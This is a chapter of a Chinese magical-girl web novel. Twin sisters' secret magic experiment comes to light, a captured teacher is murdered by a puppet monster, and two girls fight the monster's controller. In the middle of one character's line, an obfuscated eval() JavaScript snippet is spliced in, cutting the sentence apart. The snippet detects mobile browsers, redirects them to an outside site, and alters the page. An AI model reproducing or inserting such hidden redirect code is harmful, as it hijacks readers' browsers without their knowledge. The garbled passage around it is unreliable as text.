小时候就是这样,森山寺未雅忽然回想起了她好久没有怀念过的过去,森山寺未央小时候遇到事情会想想办法,想不出办法会求爸爸妈妈帮忙,如果既想不出办法也不敢找爸爸妈妈,那接下来就会这样蹲在地上哭。 但偏偏她每次都会发现,每次她本来不想哭的,但是看见妹妹在流眼泪,她的眼泪就也会自动从眼眶里掉下来了。那不是她主动模仿的行为,那是她主动感受到的悲伤,她明明害怕那些情绪的,但她更害怕自己的妹妹不停止哭泣。 难道是因为我们是双胞胎吗,那若是其中一个死去了,那另一个是会替死去的那个流泪,还是彻底失去流泪的能力呢?她这样想着,眼泪忽然变得更加汹涌了。 就好像是开了闸,大洪水随着那片悲伤涌来,森山寺未雅的平静,无所谓,不耐烦都被其它情绪冲刷着掩盖了过去了,她不再因森山寺未央的一直以来的变化和之前的话感到无趣,她似乎是半梦半醒之间的人一般恍然之间意识到了其中真意,但差一点,还差一点。 这种感觉一定很快就要消失了,就像从前那样,森山寺未雅忽然就意识到了这一点,在反思和质疑之前,她选择相信自己。 “别哭了,”她蹲了下来,说道,“未央,别哭了。” 她不知道自己的语气是否是平静的,她必须趁现在决定一些事情。 “我相信你的魔法,你说我生病了,我相信你,”森山寺未雅说,也对自己说,“你如果要去做些什么,就带着我一起去,我承诺帮助你。” 而森山寺未央也意识到了对方此时的不同,慌忙地擦了擦眼泪,却依旧看不清对方的神色,但她知道自己的姐姐该是一副什么模样。 “我答应你,我一定会找到把你变回来的方法。”森山寺未央急切地说。 “好,说到做到。”森山寺未雅说。 就这样,哪怕森山寺未雅根本不记得曾经的自己,森山寺未央也根本不清楚该怎么做,二人便就此立下了只有奇迹出现才能实现的约定。 可是,无法被实现的约定只是诅咒而已。 “魔法有着不可违约的契约规则,也就是说,魔法,特别是无法被视线限制的魔法,在使用之后契约没有收回效果的可能性。 若是将咒语说出了口,那哪怕世界毁灭魔法也会实现其价值,若是将魔力交付给了魔法,那直到魔力被消耗殆尽为止魔法都会一直存在。而施加在精神中的魔法更是难以捉摸,一旦实现就再难以被琢磨,被触碰。 哪怕是我也不知道如何取消一个已经成立契约的魔法,抱歉。” 艾克里普面对森山寺未央的求助这样无奈地说道。 二人从结界内部离开后,森山寺未雅很快变成了往常那副对什么都假装能提得起兴趣的样子,但她显然还记得自己说了什么,一言不发地跟在森山寺未央身后被拉着去找其余三人。森山寺未央又心虚又激动,头也不回地往前面走。 而此时西西路已经被制服,尚且还没有清醒过来,已经准备好被移交给警察了。 几人看到一副被打了一顿哭过且魔力消耗严重的森山寺未央,以及比前者好了一些但一言不发的森山寺未雅,都不知道该说什么。方才她们还以为这仅仅是姐妹吵架,但很显然,正常情况下无论是哪种姐妹都不会吵到这个程度。 随后森山寺未央求助艾克里普,得知噩耗。 “所以被完成或者坐标水晶才不会因为被谁不小心看到就消失啊。”有乐羽生恍然大悟,“但是隐身魔法和变形魔法就很轻易地可以被收回吧?” “因为这种效果附加类型的魔法多数是短时间起效并实时更新的。”艾克里普解释着,再次陷入了苦思冥想。 森山寺未雅盯着艾克里普看,这让她感到了有些不好意思,便更加努力地开始在脑子里找到一个可能奏效的魔法。 “未央你是自己想办法接触到魔法,所以才成为魔法少女的吗?”犬山晓对此感到不可置信,“魔法是可以这样被普通人使用出来的吗?” 森山寺未央知道这里自己必须把一切都解释清楚,既是为了自己的姐姐,也是为了给同伴们一个交代。她看了一眼自己的姐姐,决定说出自己曾经的作为。 “2021年的时候,未雅她出现了严重的精神问题,被送进了精神病院。我也一起停了学,可未雅的问题爸爸妈妈和医生都束手无策。有一天我在偶然间获得了一张光碟,那是一张阅读后定时自动销毁的光碟,虽然我没有记住其中全部的内容,但却记住了其中的核心部分。 那是一份实验报告,署名BRPL,核心内容是对某个实验进程2和3的记录。进程2为素材污染阶段,视频记录了三份被标记为素材1的不同容量标本加入不同量的预设污染物。进程3为通过特殊的离心和过滤吸附仪器对进程2的产物进行提纯,这一步在光盘中没有具体的视频内容。 我是从光碟中了解到魔法这个概念的存在的。 进程2的记录中报告说,样本素材与任何个体都可以通过接触,注射,甚至观测而造成精神污染的方式转化,但从素材中分离魔力却很困难。 这是我第一次看到魔物这个概念,我感到不可思议,我不应该相信的,但我当时实在是没有其它办法了,于是我想,我应该试试看的。 光碟中后续提到了污染物的来源,有特殊的血液,重金属污染,以及魔物。而魔物的定义是最为危险,最有效,也是我最容易接触到的。 于是我想办法观测并接触了魔物,并且很幸运地确实拥有了特殊的力量,在那个瞬间我理解了很多东西,就像脑子里突然多出了一套新的语言一样,理解了包括魔力和魔物,以及我的魔力所在的根基,那是对个体精神的控制。 我想要想办法将这种能力转移到了未雅的精神中,本来是想让她拥有控制自己精神的力量,但却出了差错变成了她的精神波动被动消失,这也是她变成这样的原因。 或许我当时就应该注意到其中的不对的,可那个时候未雅变得正常是所有人都想看到的,如果我做了什么导致她又生病了怎么办?因为担心这一点我一直没敢尝试对她的精神造成二次干涉,也没敢与她提起关于魔法的事情。 但是这不是她,我的做法让她成为了她自己都无法理解的人,所以我必须想办法让她变回来。拜托了大家,请帮帮我!我实在是想不出别的办法了!” 说完,森山寺未央深深地弯下腰,等待三人的反应。森山寺未雅依旧一言不发地站在她的身后,哪怕那些事情全都与她有关。 在森山寺未央看来,自己作为后天的魔法少女,实际上是与大家有一定区别的,她一直以来想隐瞒这份区别,不仅仅是因为她需要变得强大,并靠魔力来维持精神魔法,也因为她非常重视四人之间这种不需要隐瞒自我特殊之处的隐秘友谊。 “未央现在很害怕吗?担心我们因为你之前的隐瞒生气?”有乐羽生轻声问道。 她的声音很温柔,听不出在生气,可森山寺未央知道自己一向不擅长感受别人的情绪,她实在是害怕又搞砸什么。 “是的。”森山寺未央抽了抽鼻子抬头,“我一直以来都在想方设法让自己看上去与你们没什么不同,而且一开始也抱着想要从你们这里学到魔法的心思和你们打交道。” “就我而言我不会生气,一开始算什么呢?现在也没过去多久吧。在我心里未央就是一个独一无二的朋友。”有乐羽生笑着摇摇头,“未雅的事情确实很令我震惊,我会帮助你的,作为你的朋友也作为魔法少女。” 有乐羽生一直以来非常羡慕森山寺未央家里那和谐温馨的关系,她时常会想,这样的家庭有出现矛盾的可能吗?可现在出现了这样的事情,哪怕是为了保护朋友的真正幸福的家庭,她也会伸出援助之手。 “你说的事情我大概了解了,未央,这确实是非常不可思议,非常了不起的奇迹。”艾克里普走到森山寺未央身前,为她擦去眼角的眼泪,“我们一起想办法吧,一定会有解决的可能性的,过去的那些都是为了更好的结果,不要放弃,不要后悔。” 虽然艾克里普之前对这件事抱有悲观的态度,但她同样坚信几人聚集在一起就能克服困难,她看向森山寺未雅,她的表情和内心一样了无波动。 “未雅,之前是你和西西路老师她讨论了关于未央的事情对吗?”艾克里普看着森山寺未雅问道,森山寺未央有些紧张地看着她们。 “…是我。”森山寺未雅很奇怪这个人为什么都知道了还要问,她对艾克里普这个存在的感觉十分奇怪,一直以来都是,不过她不在意而已。 现在问我这个问题,难道是要为了朋友讨个说法吗?森山寺未雅心想。 “我认为,可能性是存在的。这是非常遗憾的一件事,因为我看得见你的内心,所以我了解你为何这样做。”艾克里普为森山寺未雅恢复了被揉皱的衣领,“你已经失去了对部分事物进行判断的能力,这件事远比你现在所想的要严重许多。” “即使做了什么,后果我也会提前想好的。”森山寺未雅对此感到不适应。 “不要走到那一步更好,这件事你们都没有错,只是事情发展的走向需要纠正。”艾克里普皱着眉摇了摇头,“能让这种事情持续这么久,或许也是因为我不够称职吧。” “你们还有绩效考核吗?”森山寺未雅问道,“这件事和你有什么关联吗?” “这件事中你也只是被魔法波及到了而已,事关魔法造成的问题我该想想办法的。”艾克里普叹了口气,郑重地说,“不用担心,即使魔法最后无法溯源,我也会想些办法的。” 森山寺未雅莫名觉得这个办法不是什么正经办法,但她还是先点了点头。 犬山晓却是反常地一言不发,她自从森山寺未央开始诉说自己的事情开始脸色就变得不太好看,那些信息中有一部分对她造成了冲击,森山寺未央也发现了她的沉默。 “晓,你不必考虑我的感受,怎么说都没关系。”森山寺未央纠结着不知道怎么开口,最后,她说,“很抱歉,但是能和你们一起玩乐队我是发自真心地高兴的。” “这一点我也是一样的,未央,你的所作所为在我看来没有需要自责的地方,不如说你能果断地说明情况很好。作为朋友和魔法少女我应该帮忙的。”犬山晓沉默过后,缓慢地开口说,“我只是在想你所经历的一切现在看来实在是,可疑。” “确实,未央说的那些信息确实非常可疑。”艾克里普也意识到了其中的不合理性,“这应该是对魔法衍生物的研究吧,不仅仅只是魔物。魔物在人类的语言中也可以代表很多其它东西,但如果出现了这种事情的话,那大概率就是我们狩猎的那些魔物了吧。” “那这件事会不会和我们正在调查的东西,也就是和西西路老师背后的存在有关?”有乐羽生一愣,“那会不会就是西西路老师选择与未雅合作想要暗害未央的原因?” “有,有可能啊!”森山寺未央想起启明星说的话,不禁毛骨悚然,“但是这也太恐怖了。” “无论如何我会出一份力的,这件事一定会有解决的方法,只是我们还没注意到而已。”犬山晓顿了顿,补充道,“而且我也同意这件事并非只是未央与未雅之间的事情。” “我明白了,你的意思是我得到的那张光碟是被控制的。”森山寺未央思索着说,“可那张光碟被放置于一个临时租赁的不记名仓库中,我的妈妈作为紧急联系人被通知租期结束。我替我妈妈去拿了里面的东西,仓库中全都是未雅与我小时候在伊提阿姨那里玩时留下的东西。” “那是什么时候的事情?”艾克里普问道。 “伊提阿姨在我们上幼儿园之前经常来找我们玩,但那之后她就没来过了吧?”森山寺未央回忆着说,“也就是说我们最后一次见到她是在,2013年的时候。对,我记得是在年初,她带了酒来找妈妈聊天,还给我们带了个礼物来着。” “是的。”森山寺未雅也想起了这件事,“那是个八音盒,就一个。” 因为给双胞胎姐妹送了数量只有一个的礼物的做法太没个大人样了,二人记了许久。 “伊提阿姨是我们妈妈在国外读工程博士时的大学同学,不过她们两个年龄差距也有些大,我们出生的时候她就来看过我们,她从来不说自己以前的事情,但妈妈说阿姨她也结过婚,甚至有过女儿。”森山寺未央有些怀念地说。 “大学同学年龄差距大很常见,很多人会选择工作多年之后再去获得新的硕士或博士学位。”有乐羽生点了点头,“这样的情况下二人还能在这里见面叙旧,其实是小概率事件了。” “在你们五岁之后她再也没有联系过你们了吗?”犬山晓紧张地问道。 “是的,这样来说的话这件事就变得可疑起来了。”森山寺未雅面无表情地怀疑。 “是的,我的直觉告诉我这件事与幕后黑手有关,”犬山晓面色严肃地说,“或许你们那位伊提阿姨值得信任,但却不一定能完全在幕后黑手的控制下自保。” “…确实如此。”森山寺未央也不得不承认这一点,“或许爸爸妈妈也有察觉到一些可疑之处吧,怪不得妈妈喜欢在围墙上装摄像头呢。” 其余几人听到这里也沉默了,看森山寺姐妹的眼神中多多少少带上了些怜悯。 “我说,无论怎么说,现在应该去上课了。”森山寺未雅完全没有在意几人正在讨论的事情和氛围,“要期中考了风纪委员抓很严的。” 而这句话也将几人从思考中拉出,但比起上课,她们有更重要的事情去做。 “幸好下午是选修课呢。”有乐羽生思索着说,“而且我的是第二节课。” “我们快去快回吧,我也是第二节课。”犬山晓有些担心地说。 有乐羽生和犬山晓的选修课在周一排课在下午第二节课,午休时间超长待机。 “那个,其实啊。”艾克里普犹豫着开口,“刚才有老师看见我们,说让我们叫未央和未雅去教务处。” “可恶!果然还是逃不过!”森山寺未央大惊失色。 “不过以前初中就有很多次了,不知道这里是什么做法。”森山寺未雅思索着说。 “我陪着她们去教务处吧,西西路老师就拜托羽生和晓带去警察局了,魔法会在她醒来后即时生效,两位注意隐蔽行动。”艾克里普决定道。 “好!交给我们吧!”有乐羽生非常激动能合理地跑出学校,并且能让杀死天生目白的凶手自己自首,那谁都没办法质疑这个结论了。 这样一来她就能给天生目清源和自己的母亲一个交代,以及一个证明。 “只要丢在警察局门口就行了吧,我们很快就会回来了。”犬山晓点点头。 几人谈论之后分开,森山寺未央表示会将这件事写成邮件发给启明星侦探,有乐羽生和犬山晓隐身后带着被严实包起来的昏迷西西路从角落里离开学校,艾克里普思考着一会的说辞和森山寺姐妹前往教学楼一楼东边的高一教务处。 “刚才我不在的时候有发生什么吗?”有乐羽生好奇地问。 “没有什么大事,我们过去的时候西西路老师已经晕倒了,艾克里普用了‘醒过来后把你做过的事情说出来’的用法的魔法,我把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721479|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她捆了起来。”犬山晓说着,又有些担心了起来,“这件事中未雅做的事情更严重一点吧。” 虽然森山寺未央没有明说,但联系前因后果也不难猜出之前发生了什么,大家都能理解到,这件事中最痛苦的绝对是那甚至无法控制自己言行的她自己。 “确实,未雅她并不是魔法少女,所以一直以来我们都没有真的去了解过她,但没想到未央都没能发现,到底是发生了什么事呢?”有乐羽生忧心忡忡地说,“而且如果这一切确实有所关联的话,那她们的爸爸妈妈也很危险了。” 好在,森山寺未央已经意识到了这一点。 “双胞胎姐妹对彼此来说应该是非常重要的亲人吧。这件事未央她一定比谁都着急,按照她说的那些事情,当年她应该是真的走投无路了才会做出那种尝试。”犬山晓缓慢地说,“她那时还小,可能都不理解自己正在做什么吧。” “是呀,魔法对于普通人来说不就和童话一样吗?魔物对于普通人来说可是和致命的大型野兽差不多的威胁,我认为未央能以普通人的身份去做那件事真的很勇敢。不过就连艾克里普也说办不到,魔法做不到的话能不能从别的地方得到帮助呢?”有乐羽生思索着说。 “如果能找到那位伊提阿姨就好了,她绝对是知情者吧,不过她真的能想到有人能靠那种东西成为魔法少女吗。”犬山晓对此依旧难以理解。 “没错啊!至少我是无法想象有谁会因为实验文件得出那种结论并且真的去尝试的,各种意义上来说都和奇迹一样啊。”有乐羽生感叹说,她这才理解森山寺姐妹被招生官重点关照是情有可原的。 按照她的说法,森山寺未央和森山寺未雅都是在停学了一年多之后参加的日之森招生考试,而森山寺未雅出院后二人才开始复习初中三年级的知识。 “说真的,那些东西我其实并没有听懂到底是什么东西。”有乐羽生感慨道,“无论如何,她们都可以称得上是天才了吧,父母也一定很为她们骄傲的。” 父母对自己的孩子有多骄傲,发生意外后就会感到成倍的痛苦吧,有乐羽生想起了自己的妈妈。 “我印象里这样的人大多数都非常傲慢,像启明星侦探那样的都算是好相处的了。未央却并不如此,她也有自己很聪明的自知之明,但并不认为自己有多么与众不同呢。”犬山晓说着笑了,她想起了克拉拉。 “这也是因为她的父母吧,还有未雅陪着她,她不会感到孤单。”有乐羽生说到这里有些羡慕。 “羽生也想要这样的家人吗?”犬山晓问道,她自己也是羡慕的。 “当然啦!我母亲偶尔温柔一下我就很开心啦!不过我上初中以后她就很少对我那样笑了,要求倒是变得很多,父亲也变得很严厉。”有乐羽生叹气。 有乐羽生谈起自己父母时脸色会有些紧张,但也带着一些向往,犬山晓认为这是她的优点之一,父母对她过于严厉的那部分会被她轻轻带过,而不是记在心上造成负担。 “这样吗?”犬山晓若有所思,“大人也是会变的,只不过潜移默化一点。” 几人谈话之间,警察局的大门即将出现在下一个落脚点前方,她们不该也没打算进去,有乐羽生和犬山晓站在警察局围墙边上的无人巷子里,接下来只需要找机会将手里的人型布团扔进去就好。 二人暂时将西西路放在地上,准备爬上墙头去看警察局内部结构,就在此时,异变突生。 “唰——”那是锋利的金属划过空气的声音,犬山晓迅速转身,看到一个双手高举长刀的魔物悄无声息地出现在二人身后,自刚才为止之前没有发出一丝魔力气息,只是那声音和风惊动了犬山晓的耳道。 “羽生,退后!”犬山晓一把将有乐羽生推到远处,她迅速观察对方的一举一动,发现那魔物与她之前遇到的人造魔物有相似的地方,例如没有明显的头部,但异常的情况在于对方身上存在着数根血色红线缠绕在关节处,如操控木偶的牵引线一般控制着魔物的动作。 魔物动作灵活,如有自主。 但那与之前的魔物最不同的点在于,二人眼前这魔物的身上缠绕着不少布料,像是绷带,又像是强行套上的模仿人类行为的衣服,下半身却是蛇形的,却并非蛇尾,而是两条属于人类的腿被强行弯着为了柔软的蛇形。这一特征让犬山晓感到了毛骨悚然。 如果是这种魔物的话,那附近可能有操控者?犬山晓冷静下来迅速地想到了这一点,而那魔物在这时也动了起来,犬山晓紧张地准备迎接攻击,但发现对方的目标却不是袭击二人,而是将刀对准躺在地上的西西路挥下。 犬山晓来不及和有乐羽生说明情况,只能先快速冲向魔物,意图阻止对方的行动。 但已经来不及了,魔物的出现点就在西西路的正上方,它的双刀在半空中划了一个圆,随后如剪刀一般交叉,无丝毫阻碍地划过西西路的颈部,下一刻血涌如注,她已然人首分离。 那个本是为了方便二人携带身体的不知来源的布料在转瞬间变换身份变成了裹尸布,西西路死了,谁也没来得及听她说些真话。 见此情况犬山晓大惊,她转头去看有乐羽生,看见她虽然面色苍白,却坚定地站了起来,不免松了口气。 【操控者就在附近,我拖住这个魔物,羽生你去找。】犬山晓迅速说道,她判断控制者控制魔物行动,本身的战斗力不会很高。 【好!】有乐羽生如被阵风托举起来一般跳起,她再次看了一眼西西路,转身离开了。 那魔物在斩下目标的头后并没有留下的准备,它双手自我怀抱住,将双刀收到身后,如蛇一般的下肢盘起,犬山晓理解了那种行为的意图,是准备迅速弹跳离开。 “先不杀掉。”犬山晓决定好之后空手欺身而上,旋转着对其发起连续扫腿,目标是魔物的下桩。她的力度极大,手足挥舞之间带着破风声。 那魔物似乎完全听从支配者的指令,哪怕多处都被犬山晓踢折了也没有还手的打算,只是持续一边躲避着攻击一边迅速往巷子深处后退。它多次引犬山晓袭击围墙,丝毫不在乎可能会吸引到别人过来。 见状,犬山晓明白哪怕将其彻底打碎也不会有用,支配者似乎并不打算珍惜这个魔物,或者说魔物有其它的修复措施,只是不想让它被留在此处。 她的目标转为攻击其被红色牵引线绑住的关节,她将魔力聚集在手掌,一时那指尖隐隐露出血红色的锋芒,犬山晓毫不犹豫地抓向那魔物怀抱着的右肩膀处,那一处的关节与肢体完整地分开,右臂落下,但被左手及时抓住了,那右臂关节处的红色牵引线不知所终。 大概是这一击让操控者察觉到了危机感,那魔物不再将自己全然包裹住,它左手抽出长刀,意图攻击。 这正如犬山晓所愿,她顺势与魔物缠斗了起来,此魔物长处是力量和速度,无论是哪种犬山晓都能全方面压制。 悬浮于高空的有乐羽生迅速地扫视地面上以图找到任何可疑的人,目标有魔法气息,她没有错过那魔物身上的红色牵引线,虽然她并未看见那牵引线的源头,但她可以凭借那气息去寻找。 那红色牵引线如鲜血一般鲜艳,也带有血腥气息,有乐羽生并不难猜到那其中一定包含控制者的血,那么目标便更明显了,她迅速锁定了一处隐约散发出血腥气的角落,毫不犹豫地朝那里跳去。 果不其然,有一个带着明黄色兜帽,散发着血腥气息的存在独自站在那将其掩埋在废弃沙发之后的角落里,有乐羽生警惕地从远处靠近,但那人察觉到有乐羽生的靠近反而直接回过头看她,并径直摘下了兜帽。 “…格雷伊?”有乐羽生不可置信地看向对方的脸。 不久之前二人在酒吧吧台吃薯条的情景还历历在目,有乐羽生的大脑告诉了她答案,但她一时之间没有接受。没有接受自己和这样的人谈论过内心的想法。 她一开始就知道吗?如果她知道的话,那她是抱着什么样的心情与我交谈的呢?她说谎了吗?还是根本不把我放在眼里?有乐羽生想着西西路的死状,心里升腾起了愤怒。 “羽生?怎么这个时间还待在外面,不用去上学吗?”格雷伊忧心忡忡地问,语气如上次见面那般内敛。 有乐羽生一直觉得格雷伊那比寻常成年人内敛太多的性格是她的性格缺陷,但现在她看着眼前的格雷伊,却好像第一次真正地认识这个人一般。无论多么无能的人,一旦杀死了另一个人,那之后她的无能仿佛也变成了某种特征。 “我就是来找你的,魔物操控者。”有乐羽生没有被对面人的态度疑惑,目不转睛地看着对方,冷静地观察对方的行动。这是她第一次与人类战斗,她还没有做好准备,抓着剑的手也在颤抖着。 而这句话格雷伊一时没有回答,她转过身来,有乐羽生看清了那双手,以及那鲜红的滴血指尖。 “这个时候其实装作不知道比较好哦?”格雷伊皱眉提醒说,用带着担忧的劝诫口吻。 “我不会再做那种事了。”有乐羽生不再犹豫,握紧魔刀快速袭向对方,她察觉到在格雷伊的目光下魔法没有被限制使用。 格雷伊没有携带武器,但她指尖流出的血液在她抬手时迅速拉长变为丝线,如两幅赤红的空白五线谱,随着使用者的甩动有力地格挡住有乐羽生的剑锋,并发出清脆的金属碰撞声。 有乐羽生凌空跃起,羽翼舒展,魔力化为羽毛又化为几十柄与她手中魔剑一模一样的分身,如真正的羽毛一般没有重量地在半空中飞舞,一同袭向格雷伊。 但或许就是因为太轻了,那些魔剑虽然快,但格雷伊的红线简单挥舞几下就能将其挡开,甚至一部分被精巧地格挡着弹了回去,令有乐羽生有些慌乱。 这与她以往遇到的魔物都不同,格雷伊有十足的战斗经验,并且清楚如何对付人类。有乐羽生意识到这一点,不禁更加慌乱了一些,察觉到这一点的她尝试深呼吸。 被简单挡下后有乐羽生迅速再次与分身们进攻,她的剑快而轻,格雷伊一时不察被划过了多处伤口,这些伤口没有阻碍她的动作分毫。但很快她似乎察觉到了什么,面色凝重地不再与有乐羽生纠缠,反而开始后退。 “别想走!”有乐羽生察觉到了她的退意,加快了自己的攻势。 见此,格雷伊叹了口气,揭下了一直披在身上的斗篷,那之下居然是非常正式整齐的黑白制服,黑色马甲和及脚踝长罩裙,像个餐厅服务员,她被血色染红的指尖如头绪般举起,红色牵引线消失不见,但下一刻那红色牵引线却是出现在了她关节处并缠绕了起来。 格雷伊身上本属于她自己的那部分气息逐渐消失,随着红色牵引线快速地覆盖她的每一处关节,她的双手交叉环抱自己,头颅像是失去力气一般低下,双腿也如被砍断了一般无法支撑她本身的重量瘫倒在地。可有乐羽生反而感受到对方变得更加危险了起来,不由得与对方保持了一段距离。 她的做法是对的,格雷伊倒下只有一两秒,下一刻她交叉环抱的双手展开,仿佛从背上的某处拔出来的双刀在半空中划过一个圆,鲜血顺着力度贱出,但她的头颅依旧是低垂着的,她隐藏在罩裙下的肢体将她以一个诡异的角度托起。 如果犬山晓在这里的话,她很快就能看出这是她正在对付的那只魔物的姿态。 那双刀停顿在半空中的一瞬间,格雷伊暴起冲向有乐羽生,哪怕她并没有在用双眼观察也能准确无误地找到自己的目标,有乐羽生赶忙举起剑试图格挡,但她在接触到对方的一刹那便意识到了这是个错误的决定。 应该躲开的,有乐羽生想。 那双刀交叠在一起砍向她的冲击力毫不逊色于一辆不拥堵时车道上正常行驶的车辆,她只来得及护住自己的头部就被击飞了出去,如一道被画出的直线尾端被嵌入了身后的巷子围墙内,羽翼保护住了她的脊椎,墙体倒塌带起一阵烟雾。 “啊——咳咳咳!”有乐羽生在接触到背后墙体一瞬间近乎难以呼吸,在巨痛传来之前到来的是因为吸入烟尘而无法停下的咳嗽,但咳嗽也令她呼入大量空气与灰尘,在她缓过来的一瞬间,顾不得疼痛和隐藏自己,赶忙使用空间魔法离开原地。 “轰——”下一瞬间格雷伊冲进了那片废墟中。 有乐羽生尽量忽略疼痛,但背后的伤口确实令她无法如往常一般轻盈地飞起,她思索着,这样下去毫无疑问会被击倒,要离开这里回到学校吗?晓那里怎么样了? 就在有乐羽生这样想着的时候,格雷伊调转过身型朝向她,她心里一惊。 而下一刻,一道身影闪过,从空中坠下冲向格雷伊,她举起双刀去格挡,但那人却是直线落下闪身到她身后,在她未能反应过来之前一个回旋踢将她击飞到半空中。 【晓!】有乐羽生惊喜地发现来者正是犬山晓。 【你受伤了?】犬山晓一惊,【那边的魔物消失了,快去后面疗伤,这里交给我。】 说罢犬山晓高高跳起伸手去抓格雷伊无法维持平衡的身体,有乐羽生开始迅速使用魔力恢复背后的伤。 方才的一击力度不可说能被无视,但格雷伊仿佛察觉不到疼痛一般在半空中强行扭过身体躲开了犬山晓的突袭,为了这样做甚至撕扯开了刚才被划开的腰部伤口。 不能让她逃进人类的视野范围内,这是犬山晓的狩猎经验所得。 犬山晓在半空中迅速做出判断,她掀起校服袖子凭空划开右手手臂内侧,引出血液化为长绳,如蛇一般飞速探向格雷伊罩裙下的肢体,她察觉到对方与那魔物的相似之处。 格雷伊察觉到对方的意图,扭转身体去挥砍那血绳,可那是由犬山晓的血液所化,在断开的下一瞬间又再次自我融合恢复如初,如她所愿抓住了格雷伊的双脚。犬山晓翻身落到地上,顺势扭转腰部拉扯血绳,格雷伊就这样如同落在地上的闪电一般毁灭性的速度拽下半空,只来得及回防自己的脑袋,被砸在地上的同时被拖行着撞碎地砖和重重墙体,被拉向犬山晓。 忽然,格雷伊那一直低垂着的脑袋抬起,远远地看向了犬山晓,那目光并无神采。下一刻,她本护在脑部的双刀划圆,连着罩裙一起毫不犹豫地砍断了自己被绑住的小腿,于是那血绳被拖出重重烟雾后,带出的只有一对鲜血淋漓的裹着裤腿的小腿连带着脚部。 就连这样的剧痛都无法让格雷伊产生任何反应,她依旧面无表情,用仅剩的肢体支撑起上半身,仿佛与犬山晓遥遥相对的只是一具被牵起关节的死尸。这种感觉让她不禁停住了动作。 格雷伊没有再攻击,如同蛇一般爬行着迅速消失在了废墟之中。 四周已经变成了一片废墟,大部分是围墙,没有伤及地下和建筑,但这里离警察局很近,犬山晓认为那其中有谁很快就会来查看情况。 犬山晓回头去看有乐羽生,发现对方正在朝自己跑来,状态恢复了不少,伤口还未完全复原。 【我们得走了。】犬山晓迅速判断,【我给你疗伤。】 【那,那西西路老师她怎么办?】有乐羽生不忍心地说,那一瞬间的场景她看得清清楚楚,除了不忍心以外,她还有愤怒。 【将尸体交给警察吧,我们现在已经没什么能做的了。】犬山晓摇了摇头,【这件事还没结束,不要心急。】 有乐羽生没有再犹豫,她点点头。 29.····- “西西路老师她,被杀了?”森山寺未央肩膀一缩,这突如其来的新一起谋杀出乎了所有人的预料。 或许也不包括所有人。 “被她背后的自己人灭口了吧,动作真是迅速,而且完全不顾及普通人的看法。”森山寺未雅平静说。 “羽生的伤怎么样了?”艾克里普焦急地确认情况,她察觉到有乐羽生消耗了很多魔力,好在并没有出现内脏破裂或者难以治愈的骨折,但她无法察觉出是否有脑震荡,于是分外焦急。 “我已经恢复的差不多了,不用担心!就是校服背后的布料被划破了了呢。”有乐羽生苦笑着说,随即面色严肃了起来,“比起这个,我们刚才遇到人对我来说并不陌生。” “以那个魔物没有头部这一点来看,应该就是我们之前遇到的那种人造魔物相似的东西了,但这次我们有遇到操控魔物的人。”犬山晓面色严肃。 “那个人就是之前我们在调查野兽事件时,我在市中心遇到的那个人,”有乐羽生面色难看地说,“她对我很熟悉,对我的阿姨也很熟悉。” 有乐羽生说到这里顿了顿,没有再说下去了。 “居然无视城市秩序和生命。”艾克里普皱眉说,“我该一起过去的,但现在能确定目标人员的形象特征,那找出来就不再是难事。” “那么,她应该就是启明星侦探提到的天使的一员了吧。”森山寺未央思索着说,“外表是人,但拥有与我们类似的力量,而且,在做坏事。” “确实,我能看出来对方的攻击行为被特化训练过,那种不顾自身安危的做法难以想象是正常人做得出来的。”犬山晓回想着之前的情况,语气忍不住重了些,“那种魔物也肯定不是正常人能想出来的。” “不过那位有乐千实是否与这件事有关还有待商榷,如果能问问本人就好了,毕竟她的名字就写在EVO的官方网站上,丝毫没有掩盖自己就在那里上班的意思。”森山寺未央若有所思地说。 “…确实如此,我也很想找她聊聊,不过我的父亲母亲没有可能向我透露那位的行踪和身份信息,我们得从别的地方想想办法。”有乐羽生说着 ,叹了口气。 “这个我去试试吧,我想把这件事告诉我的一位监护人朋友,她可能知道些什么。”犬山晓心想要给克拉拉带点什么来换取这次的情报,“关于天使的事情得我们自己想办法,但那位伊提阿姨的线索我也可以尝试问问看,毕竟是研究人员。” “监护人朋友?”有乐羽生因为这个奇怪的称呼笑了起来,但很快她就明白了这个人是谁,“是那位克拉拉小姐吗?” “是的。”犬山晓有些不好意思地点了点头,“很多事情我一直瞒着她,但是我觉得还是得和她说一下的,作为朋友,也作为合作对象。” “…晓有自己的考量就好,你是一位成熟的魔法少女,我相信你的判断。”艾克里普思索了一番之后说道,“若是出现了意外的情况一定要第一时间告诉我。” “哦哦好的。”犬山晓有些感动又有些疑惑地点头。 犬山晓自认和克拉拉这位业务广泛的研究人员在器官买卖这一点上是合作关系。情报信息克拉拉一直是一副“能说的我就会说”的态度,包括的几次询问,她都愿意给出有用的答复。犬山晓个人感觉克拉拉对自己挺照顾的,她曾经推测过这种照顾可能是出于她给克拉拉带去的长期的利益,也可能是克拉拉真的有把自己视作为监护人。 监护人是需要负责的,但犬山晓不理解为什么克拉拉愿意对自己负责,在与同伴和同学的相处中她逐渐意识到,不理解对方的好意也并非意味着必须得拒绝,也意识到现代社会中许多人会因为自己的好意被拒绝而伤心难过的。 在意识到这一点之后,犬山晓认为自己有必要正视克拉拉的所作所为并非纯粹是以利益为目标的,她明白这位研究人员的道德观与价值观不会做出无用的善良之举,但她能感受到,那也并非是在邪恶地谋划着什么目标。 人有多面性,犬山晓理解,并且想要珍惜这位相处已久的同伴的不正常友谊。哪怕对方自称监护人,她也不能真的像个孩子一样去享受无责任无义务的好意,因为,她有自知之明。 但相对地,犬山晓却一直对克拉拉隐瞒着自己的秘密,因为她明白克拉拉是一个没什么底线的人,这一点从二人相遇时克拉拉会拉着自己去试药就被她深刻地记在心里。 虽然犬山晓本质上并不排斥克拉拉对自己的探究,但她自己也明白这“不排斥”因为她很大程度上缺少人类社会的常识,不知道“正常地帮朋友忙”和“帮朋友不正常的忙”的那一根分界线在哪里,很担心自己如果说了之后哪天就会被强行拉去做一些奇怪实验都没有意识到。 